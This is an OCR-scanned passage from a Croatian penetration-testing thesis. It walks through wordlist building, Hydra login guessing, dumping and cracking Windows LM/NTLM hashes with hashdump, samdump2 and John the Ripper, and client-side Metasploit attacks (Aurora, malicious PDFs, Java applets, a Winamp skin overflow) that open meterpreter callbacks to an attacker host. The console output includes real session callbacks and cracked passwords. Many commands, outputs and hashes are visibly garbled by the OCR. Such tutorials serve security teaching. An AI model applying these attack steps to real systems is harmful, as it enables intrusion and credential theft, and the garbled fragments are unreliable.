korisniCka imena. Na sliCan nacin kao i rje€nik korisniCkih imena, potreban je i lista lozinki.

Primjer liste korisniCkih imena i lozinki prikazana je slikama dolje.
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root@kali:~¥ cat passwordfile.txt

password
root@kali:~¥ cat wserlist.txt Password
georgla passwordl
john Passwordl
mom Passwordi23
James password123
Slika 31.a. Kreiranje rje¢nika kor.imena*® Slika 31.b Kreiranje rje¢nika lozinki*’

Na gornjim slikama prikazan je testni primjerak koji u vecini sluCajeva necCe “uroditi
plodom”. Dodatne informacije koje se mogu koristiti u listi lozinki bile bi one o korisnicima
koje se stekne tijekom faze prikupljanja podataka. Takoder jedna od dobrih mjesta za
pronalazak lista lozinki su stranice tipa http://packetstormsecurity.com/Crackers/
wordlists/ , http://www.openwall.com/wordlists/, te sami direktorij u Kali Linuxu na putu
lusr/share/wordlists koji sadrzi datoteku rockyou.txt.gz. Jedan od alata koji ¢e se
spomenuti ovamo, a sadrzi listu lozinki je John the Ripper alat koji ima listu u
/usr/share/john/password.Ist direktoriju. lako slu¢ajno nagadanje Sifri mozda nece imati
dosta uspjeha, moZe se Koristiti alat ceWL koji Ce potraziti web stranicu tvrtke radi rijeci
koje ¢e dodati u rjecnik. Primjer koristenja ceWL vidljiv je na slici br. 32, a tamo postoje
neke zastavice kao Sto su -d koja specificira dubinu koja govori koliko linkova ceWL treba
pratiti na ciljnoj web stranici, -m koja ozna¢ava minimalnu duZinu rijeci koju ¢e ceWL
potraZiti, te zastavica -w za ispis rezultata u neku proizvoljnu datoteku. Primjer jednog
takvog zadatka vidi se ispod na slici.
rootgkali:~# cewl -w bulbwords.txt -d 1 -m 5 www.bulbsecurity.com

Slika 32. Koristenje ceWL-a za prikupljanje mogucih lozinki*?

Kod kreiranje popisa rijeCi za proizvodnju popisa svih mogucih kombinacija odredenog

niza znakova ili popis svake kombinacije znakova za odredeni broj znakova najbolje je
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koristiti alat Crunch u Kaliju, te ¢e naravno broj kombinacija znaciti veCe zauzecCe na
tvrdom disku te ovdje treba biti oprezan. Jedan primjer koriStenja Cruncha pronalazi se

na slici br. 33.

root@kali:~# crunch 7 7 AB

Crunch will now generate the following amount of data: 1024 bytes
o MB

0GB

o TB

o PB

Crunch will now generate the following number of lines: 128
ARARAAL

AAARAAR

Slika 33. Prikaz alata Crunch#3

Gornja slika predstavlja kreiranje popisa svih mogucih kombinacija od sedam znakova
koji sadrze slova A i B. Analogno tome koriStenje naredbe crunch 7 8 ¢e generirati popis
svih mogucih kombinacija znakova za niz izmedu sedam i osam znakova koristeci zadani
skup znakova, ali malih slova. Potencijalno znanje o kretanju duzine znakova Sifre bitan
je aspekt sa stajalista pentestera koji moze ustedjeti mnogo vremena i olakSati sami

posao.

7.2 Koristenje alata za automatsko testiranje Sifra
Ako osoba “dobije” kredencijale koji se Zele isprobati protiv usluge koja zahtijeva
prijavu, oni se mogu unijeti ruéno/jednu po jednu) ili koristiti alat za automatizaciju

postupka. Jedan primjer takvog alata je Hydra.

7.2.1 Hydra

Hydra je internetski alat za pronalaZzenje lozinke koji se moze Koristiti za
testiranje korisniCkih imena i lozinki za pokretanje usluga. Slika br. 34 prikazuje kako
koristiti hydru za pogadanje korisniCkih imena i lozinki tako Sto provjerava korisniCka
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imena i zaporke za pretrazivanje valjanih POP3 kredencijala na Windows XP sustavu,

gdje zastavica -I oznacava listu korisnickih imena, zastavica -p listu zaporki.

rootikali:~# hydra -L userlist.ixt -P passwordfile.txt 192.168.20.10 pop3
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://wew.thc.org/thc-hydra) starting at 2015-01-12 15:29:26

[DATA] 16 tasks, 1 server, 24 login tries (1:4/p:6), =1 try per task

[DATA] attacking service pop3 on port 110

[110])[pop3] host: 192.168.20.10 login: georgia password: passwordé
[STATUS] attack finished for 192.168.20.10 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found

Hydra (http://wetv.thc.org/the-hydra) finished at 2015-01-12 15:29:48

Slika 34. Koristenje alata Hydra%

U praksi Ce se vjerojatno dogoditi da je vec iskoristena neka ranjivost, npr. SMTP VRFY
kod Windows sustava, te neée biti potrebno praviti zasebno listu imena nego kod
zastavice -l sa prethodne slike samo dodati korisnicko ime. Kada se dobije Sifra kod
koriStenja POP3 ranjivosti, moZe se ulogirat u isti POP3 server sa valjanim kredencijalima
te krenuti putem koji je pentester Zelio. U realnosti ce kompanije dopustati odreden broj
pokusSaja kod upada u sustav, te ¢e mozda “zakljucati” profil koji je mnogo puta pogresio
pri prijavi u sustav. Za izbjegavanje takvog scenarija koristi se nesto gdje se pokusava

pogoditi Sifra prije nego se pokus$a ulogirati u sustav.

7.3 Offline napad na lozinke

Za izbjegavanje tog neZeljenog scenarija potrebno je dobiti kopiju hash-a za
lozinku i poku$ati ih vratiti natrag u jednostavne tekstualne rijeCi. S obzirom na ulaz, moze
se izraCunati izlaz pomocu hash funkcije, gdje s obzirom na izlaz, ne postoji nacin da se
pouzdano odredi ulaz. U praksi ¢e vecina lozinki biti enkriptirane, te ¢e ih teSko biti
desifrirti u tekstualni format. Medutim, moze se pogoditi lozinku, uskladiti je s
jednosmjernom hash funkcijom i usporediti rezultate s poznatim hash-om. Ako su dva
hash-a ista, pronadena je ispravna lozinka. Za dobivene hash Sifre moze se u

meterpreteru koristiti komanda hashdump koja Ce ispisati hash lozinku, te koristiti alat
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John the Ripper za deSifriranje. Oporavak hash lozinke iz Windows SAM datoteke je lako,
zato Sto nekad postoji mogucnosti koriStenja Meterpretear za printanje hash zaporki iz
sustava Windows XP tijekom eksploatacije, a nekad je moguce dobiti samo SAM
datoteku bez hasha. Kada se prikupi SAM fajl npr. kroz ranjivost Zervit 0.4 servera, moze
se kroz Kali alat Bkhive izvuci"bootkey" iz sistemske datoteke kako bi se mogli desifrirati
hash. Sintaksa za Bkhive je bkhive <naziv systemske datoteke> <output>. Nakon Sto se
dobije bootkey, mozZe se koristiti Samdump2 za dohvaéanje hash zaporki iz SAM
datoteke. Sintaksa za Samdump2 je sli€na kao i bkhive, a ona glasi samdump2 sam
<naziv bootkeya>prikupljen iz alata Bkhive. SljedeCe Sto se moze napraviti je da se
usporede ova 2 hasha s onima koji su pronadeni pomoc¢u naredbe hashdump. Ako se
pronadu hashovi za druge korisnike u odnosu na ono §to je pronasao hashdump moze
se pretpostaviti da su ti korisnici kreirani nakon §to je stvorena sigurnosna kopija SAM

datoteke.

7.4 Dobivanje hash lozinki pomoc¢u fizickog pristupa sustavu

Sve ranjivosti do sada uglavnom su bile one protiv Windows xp sustava posto je
pokazao mnogo mana, a pravi izazov je posti¢i nesto kod sigurnog Windows 7 sustava.
Najprije se odabere Kali Linux sustav i moZe se stavit na neki drive, te se pristupi
Windows 7 BIOS-u. Jednom kada se pristupi BIOS-u, odabere se pokretanje sa CD drive-
a. Trebao bi se pokrenuti Kali ISO. lako “smo* uklju¢eni u Kali, moze se montirati Windows
tvrdi disk i pristupiti datotekama, zaobilazedi sigurnosne znacajke Windows 7 operativnog
sustava. Kada se pristupi tome moze se kreirat direktorij u koji se moze montirati Windows
datoteCni sustav pomocu naredbe mkdir -p i naziv npr. /mnt/sda1. Zatim se koristi mount
za montiranje Windows datoteC¢nog sustava (/ dev / sda1) u novostvorenu mapu (/ mnt /
sda1), sto znaci da je C pogon ucinkovito na / mnt / sda1. Datoteke SAM i SYSTEM u
sustavu Windows nalaze se u direktoriju C: \ Windows \ System32 \ config, tako se moze
pomijeriti sa naredbom cd u direktorije / mnt / sda1 / Windows / System32 / config radi
pristupa tim datotekama. Ovdje se moZze koristiti Samdump2 i Bkhive protiv datoteka SAM
i SYSTEM, a da ih se prethodno ne spremi i premjesti u Kali sustav. Kada se naprave ti
koraci dobiju se kona¢no hashovi lozinka.
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7.5 Problemi kod LM | NTML hash algoritama
Na donjoj slici vidi se 2 oblika hasha LM (iznad) i NTML (ispod).

Administratord:; 5008 :esicachid19a%a224aib108 3 fabchbd @ 83846 FTeacedfh11TadosbddB30b 758608
Georgla Weldman: 10008 :aadibaisbhsiqodecaadibiishsidojecad 8846 fTeacedThilTadosbddE30b 75860

Slika 35. LM i NTML hash lozinke*°

Prvi pripada raCunu administratora u sustavu Windows XP, koji su pronadeni pomocu
hashdump-a u Meterpreteru, a drugi je raCun Georgia Weidmana iz sustava Windows 7,
koji je pronaden s fiziCkim pristupom sustavu. Prvo polje u hashovima sa gornje slike je
korisnicko ime, drugi je korisnicki ID, treci je hash zaporka u LAN Manager (LM) formatu
, a Cetvrti je hash NT LAN Manager (NTLM). Kod ovakvih hashova veci postotak
uspjesnosti otkrivanja prave lozinke biti ¢e kod Windows xp sustava. Microsoft je uveo
hash NTLM kako bi zamijenio LM hash, ali na Windows XP, lozinke su zadane u
obrascima LM i NTLM, dok Windows 7 koristi samo iskljuivi NTLM hash. lako su
spomenuti LM hashovi nesigurniji postoji tome i racionalno objasnjenje. Hash lozinke nije
lako probiti, ali se moze pokrenuti nagadanje za jednostavnu lozinku kroz funkciju
kriptografskog hashiranja i usporediti rezultate s hashom koji pokusavamo razbiti; ako su
iste, pronadena je ispravna lozinku. Nacin na koji LM hash funkcionira je sljedeci : Lozinke
se najprije skrate na 14 znakova. * Lozinke se pretvaraju u velika slova. ¢ Lozinkama koje
imaju manje od 14 znakova dodaju se nule kako bi imale 14 znakova+s Zaporka od 14
znakova razbijena je u dvije lozinke od sedam znakova koje su zasebni hash. Ova pravila
mogu se primjeniti na primjeru gdje postoji recimo ovaj hash : T3LF23!+?sRty$J. Kada
se provede prvo pravilo hash ¢e izgledati ovako : T3LF23!+?sRty. Zatim se mala slova
konvertiraju u velika pa se dobije : T3LF23!+?SRTY$. Zatim se lozinka dijeli na dva dijela
sa sedam znakova, pa se dobije T3LF23! +?SRTY$. Ova dva dijela zatim se koriste
kao kljucevi za Sifriranje statickog stringa KGS! @ # $% koristeéi algoritam Sifriranja Data

Encryption Standard (DES). Rezultirajuéi Sifrati od osam znakova iz enkripcije tada se
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spajaju kako bi se napravio LM hash. Moze se zakljuciti da pronalazenje LM hasha je

dobar znak za njegovo uspjeSno probijanje i lako dolazenje do lozinki.

7.6 John the Ripper

John ripper je alat za razbijanje lozinki, koji pokuSava otkriti slabe lozinke. John
the Ripper moze pokretati Siroku paletu lozinki i hash-ova. Ovaj alat je takoder koristan
za oporavak lozinke. Za probijanje LM Sifra nece predstavljati problem Cak i s Kali
virtualnim strojem koji ima ograni€enu snagu i memoriju CPU-a. Ako se spreme hash-ovi
sustava Windows XP koje su prikupljeni ranije u ovom poglavlju u datoteku zvanu

xphashes.txt, tada ih se samo posalje John Ripper alatu (slika br. 36).

rooti@kali: john xphashes.txt

Warning: detected hash type "1m", but the string is also recognized as "nt”

Use the "--format=nt" option to force loading these as that type instead

Loaded 10 password hashes with no different salts (LM DES [128/128 BS S5E2])
(SUPPORT_3BE945a0)

PASSWOR (secret:1)
(Guest)

PASSHOR (georgiaz1)

PASSWOR (Administrator:1)

1] (georgia:2)

1] (Administrator:2)

D123 (secret:2)

Slika 36. John the Ripper alat za probijanje hash lozinki4®

Kod prilozene slike malo je to pobrkano pa se treba prisjetiti LM hash procedure od ranije.
Znaci za svakog korisnika (secret, georgia, Administrator) treba se pronadi Sifra. Koristeci
prethodno znanje npr. kod korisnika Georgia prva polovica lozinke biti ¢e PASSWOR, a
druga D123. Sifra za korisnika secret je drugadija i ona iznosi PASSWORD. LM hash je
prikazao to€nu lozinku, ali i dalje se ne zna da li je ona obuhvaca samo velika slova, mala
ili mjeSovita, te je za daljnje desifrirane potreban dodatni napor. Da bi se saznalo da li
lozinka sadrzi velika, mala ili mjeSana slova, treba se pogledati ¢etvrto polje NTLM hash-
a. Sami NTML hash tesko je deSifrirati tehnikom brute forcinga i rie€nika. lako pet-

znakovna NTLM lozinka koja koristi samo mala slova i nijednu drugu slozenost, moze biti
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probijena jednako brzo kao LM hash. Dok npr. 30-znakovna NTLM lozinka s puno

slozenosti bi mogla potrajati godinama da se probije.
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8. EKSPLOATACIJA SA STRANE KLIJENTA

Kod pentestova uobiCajeno je pronalaZenje ranjivih usluga koje slu$aju na
portovima, nepromijenjene zadane lozinke, pogresno konfigurirane web posluzitelje i tako
dalje. U ovom poglavlju pro€avaju se napadi koji ciljaju lokalni softver na sustavu - softver

koji ne sluSa na nekom portu.

8.1 Zaobilazenje filtera pomoc¢u metasploit payloada

U ovome radu do sada prikazan je pentesting proces na lokalnoj mrezi, ali u
stvarnosti to ne mora biti slu€aj, pa npr. konekcija nazad na napadacev sustav moze biti
filtrirana ili sprije€ena. Na primjer, klijentska mreza mozda ne dopusta promet napustanju
mreze na portu 4444, sto je zadani zadani Metasploit reverse_tcp payload. Moze dopustiti
promet samo na odredenim ulazima, poput 80 ili 443, za web promet. U tom primjeru
metasploit reverse tcp_allports payload mozZe pronaci pravi nefiltriraju¢i port za
konekciju. Kako bi se to testiralo moze se opet koristiti ranjivost Windows xp sustava tzv.

MS08-067. Takav poku$aj vidi se sa slike ispod.

Name Current Setting Required Description
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.20.9 yes The listen address
& LPORT 1 yes The starting port number to connect back on
snip

msf  exploit(msof 067 netapi) > exploit

Slika 37. Metasploit reverse_tc_allports za pronalazenje nefiltriranih portova*’

Na gornjoj slici kod koriStenja payloada Windows/shell/reverse tcp_allports opcija
LPORT odreduje prvi port koji treba isprobati. Ako taj port ne radi, payload ¢e pokusavati
svaki sljedeci port dok veza ne uspije. Ako payload dostigne 65535 bez uspjeha, ponovno
zapocinje pokuSaj od porta 1 i radi beskonacno. lako Ce ovaj payload mozda raditi, u

praksi ¢e mozda postojati tehnologija koja ¢e i njega uspjeti zaustaviti. Ako korisnik vidi
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da aplikacija odugovlagi sa izvr§avanjem, moze je zatvoriti prije uspjeha payloada. Cak i
kad je Metasploit komunikacija Sifrirana, filter e moci rec¢i da promet koji izlazi na port 80
ne zadovoljava specifikacije HTTP-a. Developeri Metasploita za taj problem napravili su
HTTP i HTTPS payloade, koji su bazirani na paketima $to je razli¢ito od TCP-a. Ako se
nakratko izgubi mrezna komunikacija i izgube se sve svoje Metasploit sesije, HTTP i
HTTPS sesije mogu se oporaviti i ponovno povezati. Meterpreter HTTP i Meterpreter
HTTPS koriste postavke proxyja Internet Explorera za navigaciju putem proxyja potrebnih
za pozivanje na Internet. |z tog razloga, ako se ciljani proces izvodi kod sistemskih

korisnika, ove postavke proxyja mozda nisu definirane, a takvi payloadi mozda ne uspiju.

8.2 Napadi sa strane klijenta

Umjesto izravnog napadanje usluge koja sluSa na portu, pentesteri stvaraju
razne zlonamjerne datoteke koje ¢e se, kada se otvore u ranjivom softveru na ciljnom
stroju, stvoriti kompromis. Sto je do sada nedostajalo u pentesting procesu je potencijalno
ranjivi softver koji ne slusa na portu, tj. softver na strani klijenta. Naravno, buduci da
softver na strani klijenta ne sluSa na mreZzi, ne moze ga se izravno napasti, ali opéi princip
je isti. Ako se moze poslati neoCekivani ulaz programu da pokrene ranjivost, moze se
oteti njegovo izvrSavanje. Nazalost, uspjeh napada na strani klijenta oslanja se na nacin

da se osigura da se payload preuzme i otvori u ranjivom softveru.

8.2.1 Eksploatacija web preglednika

Web preglednici se sastoje od koda za prikazivanje web stranica. Ba$ kao $to
se moze poslati neispravni unos posluZiteljskom softveru, ako se otvori web stranica sa
Zzlonamjernim kodom da pokrene sigurnosni problem, u stanju se potencijalno oteti
izvrSenje u pregledniku i izvrsiti payload. Ovdje ¢e biti prikazano Aurora exploit koji je
najprije 2010. bio koristen protiv velikin kompanija kao $to su Google, Adobe i Yahoo, koji
nisu imali dobro zasti¢en sustav. lako web preglednici rade azuriranja, sami korisnici ih
katkad zaboravljaju azurirat Sto ostavlja prostora za ovaj napad. U Metasploitu taj proces
zapocinje komandom use exploit/Windows/ browser/ms10_002_aurora. Zatim kada se
upiSe show options prikazu se razne posebnosti kao npr. SRVHOST koji je zadan sa IP

adresom 0.0.0.0 (8to znaci da sluSa na svim adresama na lokalnoj mrezi), SRVPORT koji
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je zadan 8080 (moze ga se promjeniti na port 80, ako nijedan program trenutno ne koristi
taj port, SSL modul, URIPATH (kojeg pentester moze staviti kao bilo koji URL link za
prikaz korisniku da klikne na njega). Kada se odaberu opcije odabere se payload npr.
Windows/meterpreter/reverse_tcp. Nakon $to se postave opcije i pokrene modul, pokrece
se web posluzitelj u pozadini odabranog SRVPORT-a na odabranom URIPATH-u, kao

Sto je prikazano na donjo;j slici.

[*] Started reverse handler on 192.168.20.9:4444 &
[*] Using URL: http://192.168.20.9:80/aurora @
[*] Server started.

Slika 38.a. Koristenje aurora browser exploita*®

Zatim se ode sa “Zrtvinog sustava” na zaraZeni URL, te ako je napad bio uspjeSan trebala

bi se dobiti meterpreter sesija kao sa slike br. 38.b).

msf exploit(msi0 002 aurora) » [*] 192.168.20.10 ms10 002 aurora -
Sending Internet Explorer “"Aurora® Memory Corruption

[*] Sending stage (752128 bytes) to 192.168.20.10

[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1376) at
2015-05-05 20:23:25 -0400 €

Slika 38.b. Prikaz dobivene sesije koriStenjem aurora browser exploita*®

lako ovaj exploit ne moZze raditi svaki put, ciljni preglednik je ranjiv i nekoliko pokuSaja bi
trebalo dati sesiju. KoriStenje komande sessions -i <session id> omogucuje interakciju sa
dobivenim sesijama. Problem ovog exploita je ako klijent ugasi internet explorer, ili se
preglednik “crasha” tada ¢e se izgubiti konekcija Sto je prikazano slikom ispod. Razlog

tomu je Sto meterpreter obitava isklju€ivo u memoriji iskoriStenog procesa.

msf  exploit(ms10 002 aurora) » [*] 192.168.20.10 - Meterpreter session 1 closed. Reason: Diede

Slika 38.c. Primjer izgubljene sesije®°
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Potreban je naCin da se odrzava sesija, Cak i ako iskoriStavani proces - u ovom sluc¢aju
preglednik Internet Explorer - umre. Da bi se vratili na poCetak upiSe se naredba jobs koja
Ce prikazati procese koji se nalaze u memoriji klijenta. Pored procesa ¢e pisati ID, koji se

sa naredbom Kkill </D procesa> moze prekinuti.

8.2.2 Koristenje skripti u meterpreter sesiji

Pri izvodenju napada na strani klijenta mora se pricekati dok korisnik ne pristupi
zlonamjernoj stranici, zato bi bilo najbolje automatski upaliti komande u Meterpreter sesiji.
Skripta migrate.rb omogucéava premjestanje Meterpretera iz memorije jednog procesa u
drugi, Sto je upravo ovdje potrebno. Za pokretanje skripte unutar aktivne sesije koristi se
sintaks run <script name>. Kada se upi$e npr. run migrate otvorit ¢e se lista opcija, a
jedne od bitnih su sljedece: zastavica -f koja moze pokrenuti novi proces i preci na taj
proces, -n <opt> zastavica omogucuje prelaze u proces s danim imenom, zastavica -p
<opt> za odabir procesa pomocu proces ID-a. Osim modula i payloada Metasploit ima i
napredne parametre. Npr. kod prethodnog exploita ms10_002_aurora moze se upisati

show advanced te ¢e pentester biti prezentiran sa dodatnim parametrima sli¢nim onim na

slici ispod.

Name : ContextInformationkile

Current Setting:

Description : The information file that contains context information
snip

Name 1 AutoRunScript

Current Setting:

Description oA script to run automatically on session creation.
snip

Nami: 1 WORKSPACE

Current Setting:

Description 1 Specify the workspace for this module

Slika 39.a. Napredne opcije aurora exploita®’

Jedna od interesantnih stvari sa gornje slike je AutoRunScript-a koja omogucuje da se

automatski pokrene Meterpreter skripta kada se otvori sesija. Na taj na¢in se moze
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koristiti migrate skripta pri otvorenoj meterpreter sesiji, te ¢e se i onda kada preglednik
‘odumre” sve dok skripta traje, nasa sesija biti sigurna od “crashova®. Takav primjer vidljiv
je na slici br. 39.b) gdje se koristi AutoRunScript i zastavica -f te se iznova pokrece

zloc¢udni server.

msf  exploit(ms10 002 aurora) » set AutoRunScript migrate -f@
AutoRunScript =» migrate -f

msf  exploit{ms10 002 aurora) » exploit

[*] Exploit running as background job.

Slika 39.b. AutoRun skripta za automatsko pokretanje meterpreter sesije®?

Kada Zrtva klikne na maliciozni server preko internet explorera, dobiva se sesija koja kaze
da se AutoRunScript parametar automatski obraduje, a skripta migracije stvara proces
sa ekstenzijom .exe i prelazi u njega. Kada Internet Explorer umre, sesija i dalje ostaje
ziva. Kod koriStenja ranjivosti preglednika, treba se Cekati nekoliko sekundi da se
migracija dogodi, a korisnik u to vrijeme moZe ugasiti preglednik .Zato postoji opcija
PrependMigrate koja ¢e omoguciti brzu migraciju, prije nego sto se payload pokrene.

Treba napomenuti da je aurora ranjivost zakrpana 2010. god, ali i dalje se moze iskoristiti

kod korisnika koji ne azuriraju redovno svoje preglednike.

8.3 PDF ranjivost

Ako se korisnika uspije “nagovoriti“ na otvaranje zlonamjernog PDF-a u ranjivom
pregledniku, program ranjivost se moze iskoristiti. Premda se program koji najceSce
pokrece pdf datoteke Adobe Reader Cesto azurira, PDF softver Cesto se zaboravlja
azurirati i ostaje pri starijoj, ranjivoj verziji. Npr. Adobe Reader 8.1.2 ima manu
prekoracenja buffera“‘CVE-2008-2992“ za kojeg postoji Metasploit ranjivost
exploit/Windows/fileformat/adobe _utilprintf. Ovaj modul jednostavno stvara zlonamjerni
PDF i hosta ga radi isporuke, a postavljanje alata za upravljanje payloadom je na

pentesteru. Znaci koristi se naredba use exploit/Windows/fileformat/adobe_utilprintf, te
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se opcijom show payload prikazuju potrebne stvari za ovu ranjivost, a to su naziv pdf
datoteke (zadano je msf.pdf koji se nalazi na putu /root/.msf4/ local/msf.pdf) i naziv
“cilinog“ sustava, a to je Adobe Reader on Windows XP SP3 English, Kada se upise
exploit, ranjivost Ce biti spremljena. Zatim se koristi komanda cp da se premjesti exploit
sa spremljene lokacije na apache server, a sami server se pokrene naredbom service

apache? start, kao $to je prikazano ispod.

msf exploit(adobe utilprintf) » cp /root/.msf4/local/msf.pdf /var/wew
[*] exec: cp froot/.msf4/local/msf.pdf /varfwew

msf exploit(adobe utilprintf) » service apache2 start
[*] exec service apache2 start

Slika 40. Premjestanje maliciozne pdf datoteke na Kali apache server®?

Naravno jedino $to joS nedostaje je namjestiti handler da dohvati konekciju i odabrati
Zeljeni payload (moze se opet koristiti Windows/meterpreter/reverse_tcp payload). Kada
se to sve napravi upiSe se exploit i sve je spremno. Sljedeci zadatak je nagovoriti zrtvu
da otvori zarazeni fajl i dobit ¢e se meterpreter sesija. Uobi¢ajeno s napadom poput ovog
nece se ciljati samo jednog korisnika. Za najbolje rezultate moZe se upotrijebiti ovaj
zlonamjerni PDF kao dio drustveno-inzenjerske kampanje, o kojoj je rije€ u sljedecem
poglavlju rada (slanjem nekoliko do ¢ak hrpa zlonamjernih PDF-ova u pokusaju da
navuku korisnike da ih otvore). Multi handler slusatelj koji je prethodno postavljen, zatvorit
Ce se Cim vidi prvu vezu, zato je potrebo nesto prikazano kad se upiSe komanda show
advanced, a to je ExitOnSession kojem se vrijednost postavlja na false komandom set

ExitOnSession false, te ¢e “listener” ostati otvoren za hvatanje dodatnih dolaznih veza.

8.3.1 Umetnute (embedirane) ranjivosti unutar PDF fajla
Relevantni exploit za to je exploit/Windows/ fileformat/
adobe_pdf_embedded_exe koji ¢e generirati PDF, koji ¢e kada se otvori pitati Zrtvu za

dopustanje pokretanja umetnutog exploita. Sli€no kao i prethodno do sad koristi se
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komanda use exploit/Windows/ fileformat/adobe pdf embedded exe, te se stisne enter

i upiSe show options za dobivanje prikaza kao na slici br. 41.

Module options (exploit/windows/fileformat/adobe pdf embedded exe):

Mame Current Setting Kequired Description
0 EXENAME Mo The Name of payload exe.
B FILENAME evil. pdf Fi The output filename.
& INFILENAME yes The Input PDF filename.
@LAUNCH MESSAGE To view the encrypted content please no The message to display in
tick the “Do not show this message the File: area

again” box and press Open.

Slika 41. Prikaz potrebnih opcija za umetnutu ranjivost unutar PDF datoteke®

EXENAME opcija nije obavezna i ako se ne postavi, moze se umetnuti .exe datoteka
kreirana iz bilo kojeg payloada. Sa opcijom FILENAME moguce je opet promjeniti naziv
fajla u bilo Sto ili jednostavno ostaviti ovak (evil.pdf) kao na slici. INFILENAME opcija
specificira ulazni pdf, a LAUNCH_MESSAGE predstavlja tekst koji ¢e se prikazati
korisniku kao dio upita za pokretanje izvrSne datoteke. Za INFILENAME moze se Koristi
zadani KALI pdf na putu /user/share/set/readme/User_Manual.pdf. Kao i prije treba se
odabrati multi’/handler nacin sa nekim payloadom. Kada Zrtva naposljetku otvori takvu
datoteku prikazat ce mu se upozorenije tipa : “Datoteka sadrzi macros, programe ili viruse
koji mogu nastetiti vaSem racunalu, da li Zelite prihvatiti izvor ako vam je poznat itd..?*

Kada korisnik to dozvoli napadac ¢e dobiti meterpreter sesiju.

8.4 Java ranjivost

Java ranjivosti su prevladavajuci faktori napada na strani klijenta. U stvari, neki
struCnjaci sugeriraju da bi, s obzirom na sigurnosne probleme koji muce Javu, Kkorisnici
trebali deinstalirati ili onemoguditi softver u svojim preglednicima. Java ranjivosti su toliko
mocne da exploit moze dobiti pristup mnostvu platforma kao S$to su Windows, Mac, Linux
koji koriste JRE (eng. Java Runtime Environment). Ranjivost za javu naziva se

exploit/multi/lbrowser/ java_jre17_jmxbean koji je sliCan dosadasnjim aurora i pdf
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exploitima i svaki preglednik koji koristi JAVA verziju 7 prije aZuriranja na verziju 11 je
potencijalna meta. Kao i dosad pokreCce se komanda use exploit/multi’/browser/
Jjava_jre17 _jmxbean, te se upiSe show options za pogodnosti koje su u ovom slucaju
SRVHOST, SRVPORT i URIPATH o kojima je vec¢ bilo re€eno ranije. Potrebno je odabrati
i payload,a lista njih dobiva se komandom show payloads. Payloadi temeljeni na javi,
ovdje imaju raspon, od postupnih payloada, inline payloada, shell bindova, Meterpretera
itd.. Npr. kada se odabere payload java/meterpreter/reverse_http te upiSe komanda show
options, nuzno ¢e biti odabrati LHOST, LPORT (8080 po defaultu). Kada je sve spremno
moze se tesirati exploit tako $to se ode na sustav Windows 7 npr., a preglednici internet
explorer i mozilla firefox bit ¢e ranjivi u ovome napadu, a napadaci e dobiti sesiju. Dobra
stvar kod HTTP i HTTPS payloada je njihova sposobnost da se ponovno pridruze na
odbacenoj sesiji.

msf exploit(java_jrei? jmxbean) » sessions -i 1
[*] Starting interaction with 1...

meterpreter » detach

[*] 10.0.1.16 - Meterpreter session 1 closed. Reason: User exit

msf exploit(java_jrel? jmxbean) »

[*] 192.168.20.12:49204 Request received for /MzZ7 vgHcKAGkWiDidkoKs. . .

[*] Incoming orphaned session WzZ7 vgHcXAGkWiDiqkoK, reattaching...

[*] Meterpreter session 2 opened (192.168.20.9:8080 -> 192.168.20.12:49204) at
2015-05-05 19:15:45 -0400 @

Slika 42. Naredba detach za prekidanje sesije®®

Na gornjoj slici vidljivo je da je naredbom detach pentester prekinio sesiju, ali je nova
otvorena bas$ zbog HTTP payloada, bez da se Zrtva ponovo spojila na stranicu. Takoder
moze se odrediti koliko dugo se sesija pokuSava ponovno povezati koristeéi parametar

SessionCommunicationTimeOut u naprednim opcijama payloada.

8.4.1 Signed Java applet
Sliéno kao i kod umetnutog PDF napada, haker moze zaobiéi potrebu za
nenadmasnom ranjivoS¢u Jave jednostavnim trazenjem korisnika da sam omoguci

pokretanje zlonamjernog koda. Ovakvo nesto poznato je svima i svi su se sigurno nekad
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susreli sa pitanjima u pregledniku kao Sto je : "Ova web lokacija Zeli pokrenuti ovu “stvar®
u vaSem pregledniku. Kako biste Zeljeli postupiti dalje?“ Za takve stvari zaduzni su java
appleti, odnosno programi koji se izvrSavaju u web preglednicima korisnika. Npr. ranjivost
exploit/multi/browser/java_signed_applet ¢e pokrenuti maliciozni java applet. Kod
upisivanja komande show options jedna od opcija CERTCN c¢e za starije verzije Jave
omogucit da applet potpisuje bilo koji entitet koji se odabere. Novije verzije Jave, poput
one instalirane na Windows 7 cilju, reci ¢e da je potpisnik nepoznat osim ako se applet
ne potpiSe pouzdanim certifikatom. Ako se postavi opcija SigningCert ona ¢e nadjacit
opciju CERTCN. Ako haker ima pouzdani i potvrdeni certifikat ili ga je kompromitirao sa
cilinog sustava, moze uciniti da njegov applet izgleda legitimnije. Od opcija jo$ Ce biti
bitni sustavi. Naredbom show targets mogu se prikazati i ostali ranjivi sustavi na ovaj
exploit. Kao i sa ostalim java exploitima, napada¢ moZe uciniti ovaj napad
multiplatformski, tako da nakon naredbe show targets upiSe set target 0 (koji je ID
generickog java payloada). Ako napadac nije koristio potvrdeni certifikat kojem vjeruje
lanac certifikata preglednika, prikazat ce se upozorenje velikim slovima i pisat ¢e da je
izdavac¢ nepoznat kada Zrtva padne na ovaj napad. No unato€ velikim upozorenjima ovo

je i dalje jedan od najuspjesnijih napada.

8.5 Iskoristavanje softvera Winamp

U ovom primjeru iskoriStava se korisnika da zamijeni konfiguracijsku datoteku
programa Winamp music player. Kad korisnik sljedeci put otvori program, zarazene
konfiguracijske datoteke“ biti ce obradene bez obzira na to koju glazbenu datoteku
korisnik otvara. Jedna takva ranjivost pod nazivom exploit/Windows/ fileformat/
winamp_maki_bof, koja koristi problem prekora¢enja medumemorije kod Winamp verzije
5.55. Kada se koristi ova ranjivost, ona ne zahtjeva bas nikakve opcije za postavljanje,
osim payloada. Taj modul generira zlonamjernu Maki datoteku za upotrebu s Winamp
skinovima. Moze se odabrati payload Windows/meterpreter/reverse tcp i postavi se
LHOST, te se upiSe exploit. Jednom kada se generira zlonamerna Maki datoteka, ona se
treba kopirati u direktorij web posluzitelja Apache i odabere se handler za payload. Ova

se zarazena datoteka mora spakirati na takav nacin da se korisnik uvjeri da je ucita u
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Winamp. MoZe se stvoriti novi Winamp skin kopiranjem jednog skina koji je u paketu s
Winampom. Datoteka mcvcore.maki moze se na primjer zamijeniti naSom zlonamernom.
Nije vazno kako skin zapravo izgleda, jer Ce uzrokovati da Winamp na trenutak zastane i
poSalje svoju sesiju u Metasploit. Znaci u sustavu Windows 7 napravi se kopija zadane
